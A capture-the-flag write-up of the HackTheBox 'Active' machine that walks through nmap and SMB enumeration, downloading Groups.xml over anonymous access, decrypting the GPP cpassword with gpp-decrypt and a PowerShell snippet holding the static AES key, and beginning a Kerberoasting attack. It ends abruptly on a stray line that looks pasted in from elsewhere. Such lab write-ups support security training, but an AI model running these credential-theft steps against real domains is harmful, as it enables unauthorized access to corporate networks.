Mastering Kerberos: Capturing Active Directory on a HackTheBox Virtual Machine

Date: 22/07/2025

In this article, I will demonstrate how to go from zero to a fully-fledged Active Directory domain controller administrator, with the help of one of the virtual machines available for hacking on the CTF platform HackTheBox. While it may not be the most challenging machine, mastering AD skills is crucial if you’re planning to pentest corporate networks.
HTB — Active
HTB — Active

The Active Directory domain controller is a crucial component of nearly any modern IT infrastructure. The Windows Server directory service has long been a coveted target for attackers looking to establish a foothold within a corporate network. Therefore, the aspects of securing AD are a highly relevant topic for discussion among cybersecurity researchers in any company.

The virtual machine we are going to exploit is called Active. The community rates its difficulty as low, with a score of 4.6 out of 10. Here’s what we’ll need to do with it:

  • Gathering information on shared SMB resources using a range of powerful tools: smbclient, smbmap, enum4linux, and nullinux.
  • Exploiting SMB with anonymous access to capture the Group Policy configuration file Groups.xml.
  • Decrypting the GPP password from the Groups.xml file.
  • Gaining access to a domain account and performing a Kerberoasting attack (targeting the Kerberos authentication protocol) to extract an administrator’s ticket using the impacket script collection.
  • Finally, performing offline password recovery of the administrator from a hash using Hashcat for complete control of the domain controller.

“…Lying in his cave, the massive Cerberus barked with three mouths, and his thunderous bark echoed through the silent realm…”

Reconnaissance

The initial stage involves gathering information about the target for further analysis. The success of this phase greatly influences the potential success of the planned attack. We will collect the necessary data to determine the entry point into the system.

Nmap

Following best practices, let’s first carefully “probe” the virtual machine for open ports using Nmap. We won’t use heavy artillery like NSE scripts or version detection yet, as doing so would significantly increase the scan time. We’ll set the scan intensity to 5000 packets per second, which makes sense when working with a Windows host that may have a hundred or more HTB (Hack The Box) users accessing it simultaneously. Just to be safe, we’ll request reports in all formats (.nmap, .gnmap, .xml) using the -oA flag.

root@kali:~# nmap -n -vvv -sS -Pn –min-rate 5000 -oA nmap/initial 10.10.10.100

Let’s review the report.

root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Sat Dec 15 23:26:06 2018 as: nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received user-set (0.14s latency).
Scanned at 2018-12-15 23:26:06 MSK for 1s
Not shown: 983 closed ports
Reason: 983 resets
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49157/tcp open unknown syn-ack ttl 127
49158/tcp open unknown syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Dec 15 23:26:07 2018 -- 1 IP address (1 host up) scanned in 0.80 seconds

The TTL value once again confirms that this is a machine running Windows. There are many open ports and many services. Let’s increase the level of detail and find out the versions of everything that’s running by using the -sC flag. This will add default scripts from the NSE arsenal to the scan.

root@kali:~# nmap -n -vvv -sS -sV -sC -oA nmap/version –stylesheet nmap-bootstrap.xsl 10.10.10.100
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Sat Dec 15 23:26:38 2018 as: nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet nmap-bootstrap.xsl 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received echo-reply ttl 127 (0.14s latency).
Scanned at 2018-12-15 23:26:38 MSK for 200s
Not shown: 983 closed ports
Reason: 983 resets
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2018-12-15 20:19:56Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7m07s, deviation: 0s, median: -7m07s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 53842/tcp): CLEAN (Couldn't connect)
| Check 2 (port 40109/tcp): CLEAN (Couldn't connect)
| Check 3 (port 43653/udp): CLEAN (Timeout)
| Check 4 (port 38631/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-15 23:20:56
|_ start_date: 2018-12-11 03:34:26

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 15 23:29:58 2018 -- 1 IP address (1 host up) scanned in 200.67 seconds

info

Nmap поз­воля­ет генери­ровать кра­сивые отче­ты в HTML с помощью опции --stylesheet. Для это­го толь­ко нуж­но соз­дать под­ходящий шаб­лон XSL-таб­лицы сти­лей или вос­поль­зовать­ся готовым. К при­меру, хороший вари­ант — nmap-bootstrap-xsl.

Based on the results of the comprehensive scan, we conclude:

  • This is an Active Directory domain controller with the domain name active.htb.
  • Operating System: Windows Server 2008 R2 SP1.
  • microsoft-ds? (also known as Microsoft Directory Services or SMB) refers to network shared resources known informally as “SMB shares,” specifically version 2 on port 445.
  • Kerberos authentication system on port 88.

Let’s start with the obvious—let’s take a look at what’s hidden within SMB (Server Message Block).

Enumerating SMB – Port 445

This topic could warrant an entire article on its own, but for now, we’ll briefly explore software used for uncovering SMB shares.

NSE (Nmap Scripting Engine)

The almighty Nmap comes equipped with a versatile arsenal of scripts for all occasions, and extracting information about SMB is no exception. Let’s explore what it offers in categories like default, version, and safe by performing a contextual search through the .nse files on Kali Linux.

root@kali:~# locate -r ‘.nse$’ | xargs grep categories | grep ‘default|version|safe’ | grep smb
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse:categories = {"vuln", "safe", "malware"}
/usr/share/nmap/scripts/smb-enum-services.nse:categories = {"discovery","intrusive","safe"}
/usr/share/nmap/scripts/smb-ls.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-mbenum.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-os-discovery.nse:categories = {"default", "discovery", "safe"}
/usr/share/nmap/scripts/smb-protocols.nse:categories = {"safe", "discovery"}
/usr/share/nmap/scripts/smb-security-mode.nse:categories = {"default", "discovery", "safe"}
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse:categories = {"vuln", "safe"}
/usr/share/nmap/scripts/smb2-capabilities.nse:categories = {"safe", "discovery"}
/usr/share/nmap/scripts/smb2-security-mode.nse:categories = {"safe", "discovery", "default"}
/usr/share/nmap/scripts/smb2-time.nse:categories = {"discovery", "safe", "default"}
/usr/share/nmap/scripts/smb2-vuln-uptime.nse:categories = {"vuln", "safe"}

Let’s direct secure script engine creations to port 445:

root@kali:~# nmap -n –script safe -oA nmap/nse-smb-enum -p445 10.10.10.100
root@kali:~# cat nmap/nse-smb-enum.nmap
# Nmap 7.70 scan initiated Sun Dec 16 00:03:51 2018 as: nmap -n --script safe -oA nmap/nse-smb-enum -p445 10.10.10.100
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 10.0.2.16
| Subnet Mask: 255.255.255.0
| Router: 10.0.2.2
| Domain Name Server: 192.168.1.1
|_ Server Identifier: 10.0.2.2
| broadcast-ping:
| IP: 192.168.1.140 MAC: 52:54:00:12:35:02
|_ Use --script-args=newtargets to add the results as targets
|_eap-info: please specify an interface with -e
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
Nmap scan report for 10.10.10.100
Host is up (0.14s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_clock-skew: mean: -7m06s, deviation: 0s, median: -7m06s
|_fcrdns: FAIL (No PTR record)
|_ipidseq: Incremental!
|_msrpc-enum: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
|_path-mtu: PMTU == 1500
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
| smb-protocols:
| dialects:
| 2.02
|_ 2.10
| smb2-capabilities:
| 2.02:
| Distributed File System
| 2.10:
| Distributed File System
| Leasing
|_ Multi-credit operations
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-12-15 23:57:31
|_ start_date: 2018-12-11 03:34:26
| unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)

Post-scan script results:
| reverse-index:
|_ 445/tcp: 10.10.10.100
# Nmap done at Sun Dec 16 00:05:02 2018 -- 1 IP address (1 host up) scanned in 71.04 seconds

Despite the extensive output, we didn’t find anything useful, only confirming once again that this is the second version of the protocol — SMBv2. Let’s move on.

smbclient

The smbclient utility in Linux is used to connect to SMB shares. First, let’s see what SMB resources are available on the host. For this purpose, anonymous access (Null Authentication) will be sufficient.

root@kali:~# smbclient -N -L 10.10.10.100
Anonymous login successful

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

The only directory accessible with Null Authentication is Replication, which is essentially a replicated storage copy of the SYSVOL system volume. This is particularly intriguing from the perspective of potential privilege escalation within the system, as SYSVOL contains group policy configuration files initially accessible only to authorized users.

Let’s take a look at the contents of Replication.

root@kali:~# smbclient -N “\10.10.10.100\Replication”
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > dir
. D 0 Sat Jul 21 13:37:44 2018
.. D 0 Sat Jul 21 13:37:44 2018
active.htb D 0 Sat Jul 21 13:37:44 2018

10459647 blocks of size 4096. 4946059 blocks available

To avoid navigating through nested directories manually, let’s use the following trick: enable the recursive traversal option for the share, disable the annoying prompt that asks for confirmation for each action, and create a full Replication snapshot as shown below.

smb: > recurse ON
smb: > prompt OFF
smb: > mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (2.0 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (5.1 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 1.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (6.8 KiloBytes/sec) (average 2.2 KiloBytes/sec)

We now have an offline copy of the Replication folder. To display a list of files for a more visual analysis of the contents, you can use the find command.

root@kali:~# find active.htb -type f
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI

Let’s not delve deeper for now and instead explore some other reconnaissance tools.

smbmap

Instead of smbclient, you can use smbmap—it’s a more convenient tool that lets you achieve the same results with fewer steps. First, we’ll scan the entire server.

root@kali:~# smbmap -d active.htb -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS

We can immediately see what is accessible with our current permissions (in this case, Null Authentication) — quite convenient. Now, let’s request a recursive listing of files in the Replication directory using a single smbmap command.

root@kali:~# smbmap -d active.htb -H 10.10.10.100 -R Replication
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Replication READ ONLY
.\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 active.htb
.\\active.htb\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 DfsrPrivate
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Policies
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 scripts
.\\active.htb\DfsrPrivate\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ConflictAndDeleted
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Deleted
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Installing
.\\active.htb\Policies\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9}
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9}
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 23 Sat Jul 21 13:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Group Policy
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 119 Sat Jul 21 13:38:11 2018 GPE.INI
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Preferences
-r--r--r-- 2788 Sat Jul 21 13:38:11 2018 Registry.pol
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 1098 Sat Jul 21 13:38:11 2018 GptTmpl.inf
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Groups
.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 533 Sat Jul 21 13:38:11 2018 Groups.xml
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 22 Sat Jul 21 13:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit
.\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ..
-r--r--r-- 3722 Sat Jul 21 13:38:11 2018 GptTmpl.inf

And as the final touch, let’s retrieve the file we are interested in (spoiler: it’s Groups.xml) by using the -q flag to avoid listing the files again unnecessarily.

root@kali:~# smbmap -H 10.10.10.100 -R Replication -A Groups.xml -q
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Replication READ ONLY
[+] Starting search for files matching 'Groups.xml' on share Replication.
[+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

www

Here are a couple more reconnaissance scripts.

  • enum4linux — A classic in the field. This Perl-based tool is somewhat outdated but is still quite useful for gathering information on Windows and Samba.
  • nullinux.py — An updated alternative to enum4linux, rewritten in Python. It accomplishes the same tasks but is more user-friendly and produces fewer error messages.

GPP (Group Policy Preferences)

Let’s take a look at what we were able to extract from SMB.

Group Policy Preferences (GPP), introduced in 2008 with Windows Server, simplifies the lives of domain administrators. GPP allows them to centrally manage user and group security settings across their entire network.

For example, an admin noticed that the local administrator’s password didn’t comply with the security policy and decided to change it. In this case, the new password is encrypted with an AES-256 key and exported to Groups.xml (to ensure it isn’t lost!). This is the same file that we captured along with the Replication folder.

However, in 2012, Microsoft employees for some reason decided to openly publish the encryption key on MSDN, and since then, passwords set using Group Policy Preferences (GPP) are no longer considered secure. Now, even sticking a note with such a password on the monitor seems like a lesser form of vandalism—as at least it can’t be accessed over the network.

AES-256 encryption key for Groups.xml passwords published on MSDN
AES-256 encryption key for Groups.xml passwords published on MSDN

Despite the patch released in 2014 that prohibits storing passwords in Groups.xml, as of 2019, there is still a possibility of encountering configuration errors of this kind, and this machine is just such a case.

root@kali:~# cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>User>
Groups>

The cpassword field contains the password for the user active.htb\SVC_TGS, encrypted with Microsoft’s key… which is no longer a secret.

root@kali:~# cat Groups.xml | grep -o ‘cpassword=”[^”]+”|userName=”[^”]+”‘
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"

Decrypting cpassword

gpp-decrypt

Kali Linux includes a built-in utility for decrypting GPP passwords called gpp-decrypt.

root@kali:~# gpp-decrypt ‘edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ’
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

PowerShell Script

There’s also an interesting PowerShell script that accomplishes the same task. You can find the full version on GitHub, but I only used the necessary snippet, which was taken from comments in the author’s blog.

function getpwd([string]$Cpassword) {
$pl = $Cpassword.length % 4
if($pl -eq 0){$pad = ""}
else{$Pad = "=" * (4 - ($Cpassword.length % 4))}
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
# Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
# Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
# Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
Decoding GPP Passwords Using a PowerShell Script
Decoding GPP Passwords Using a PowerShell Script

In any case, we obtained the authorization credentials: SVC_TGS:GPPstillStandingStrong2k18.

PrivEsc: Anonymous → SVC_TGS

Once we gain user access to SMB, we’ll retrieve the first flag from \\10.10.10.100\Users.

root@kali:~# smbmap -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100 -R Users -A user.txt -q
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
Users READ ONLY
[+] Starting search for files matching 'user.txt' on share Users.
[+] Match found! Downloading: Users\SVC_TGS\Desktop\user.txt

user.txt

root@kali:~# cat /usr/share/smbmap/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
86d67d8b????????????????????????

Mounting SMB Shares

To investigate the contents of directories in more detail, you can mount an SMB share. For example, let’s use the share //10.10.10.100/Users.

root@kali:~# mount -t cifs //10.10.10.100/Users /mnt/smb -v -o user=SVC_TGS,pass=GPPstillStandingStrong2k18
mount.cifs kernel mount options: ip=10.10.10.100,unc=\\10.10.10.100\Users,user=SVC_TGS,pass=********
root@kali:~# ls -la /mnt/smb
total 33
drwxr-xr-x 2 root root 4096 Jul 21 17:39 .
drwxr-xr-x 3 root root 4096 Aug 8 15:54 ..
drwxr-xr-x 2 root root 0 Jul 16 13:14 Administrator
l--------- 1 root root 0 Jul 14 2009 'All Users' -> '/??/C:/ProgramData'
drwxr-xr-x 2 root root 8192 Jul 14 2009 Default
drwxr-xr-x 2 root root 8192 Jul 14 2009 'Default User'
-rwxr-xr-x 1 root root 174 Jul 14 2009 desktop.ini
drwxr-xr-x 2 root root 4096 Jul 14 2009 Public
drwxr-xr-x 2 root root 4096 Jul 21 18:16 SVC_TGS

SMB resource mounted in Kali Linux
SMB resource mounted in Kali Linux

Retrieving Active Directory Users

We have an account within the domain. You can use the ldapsearch tool to search for domain user records in the directory service accessible via LDAP. Using the filter useraccountcontrol:1.2.840.113556.1.4.803: with the value 2 ensures that we only obtain information about active AD accounts.

root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w ‘GPPstillStandingStrong2k18’-b “dc=active,dc=htb” -s sub”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))” samaccountname | grep sAMAccountNamePage
sAMAccountName: Administrator
sAMAccountName: SVC_TGS

The same result could be achieved using the impacket collection of Python scripts.

root@kali:~# GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Querying 10.10.10.100 for information about domain.
Name Email PasswordLastSet LastLogon
------------- ------ ------------------- -------------------
Administrator 2018-07-18 22:06:40 2018-12-11 04:20:35
Guest <never> <never>
krbtgt 2018-07-18 21:50:36 <never>
SVC_TGS 2018-07-18 23:14:38 2018-12-13 23:30:55

Kerberoasting — Exploiting Port 88

One of the techniques for privilege escalation within the Kerberos authentication system is called Kerberoasting (a play on words: Kerberos + roasting = “roasting Kerberos”). It was introduced by Tim Medin at the DerbyCon conference in 2014 (PDF).

The main idea of the attack is that if the target account (ideally an administrator) is associated with a Service Principal Name (SPN), we can request the corresponding TGS (Ticket Granting Service) ticket from the Kerberos Key Distribution Center (KDC) on the controller. This ticket will contain the password hash for that account.

If the password is weak, we can easily recover it offline. This is possible because the TGS_REP—Kerberos’ response to such a request—is encrypted using the NTLM hash of the password of the account under which the service is running.

The network interactions during such an attack are illustrated in the figure below.

Diagram of a Kerberoasting attack execution
Diagram of a Kerberoasting attack execution

www

If you enjoy reading this type of material, you can learn more about Kerberoasting in these articles.

Retrieving SPNs of AD Users

To list the Service Principal Names (SPNs) of deployed services, you can also use an LDAP search.

root@kali:~# ldapsearch -x -h 10.10.10.100 -p 389 -D ‘SVC_TGS’ -w’GPPstillStandingStrong2k18′ -b “dc=active,dc=htb” -s sub”(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2))(serviceprincipalname=/))” serviceprincipalname | grep-B 1 servicePrincipalName
servicePrincipleName: active/CIFS:445

Alternatively, you can use Impacket to directly dump the TGS hash of the identified account. Use the -request flag for this purpose.

The provided text describes the process of using the Impacket tool GetUserSPNs.py to request Service Principal Names (SPNs) for a specific user in an Active Directory environment. Here’s a breakdown of what’s happening:

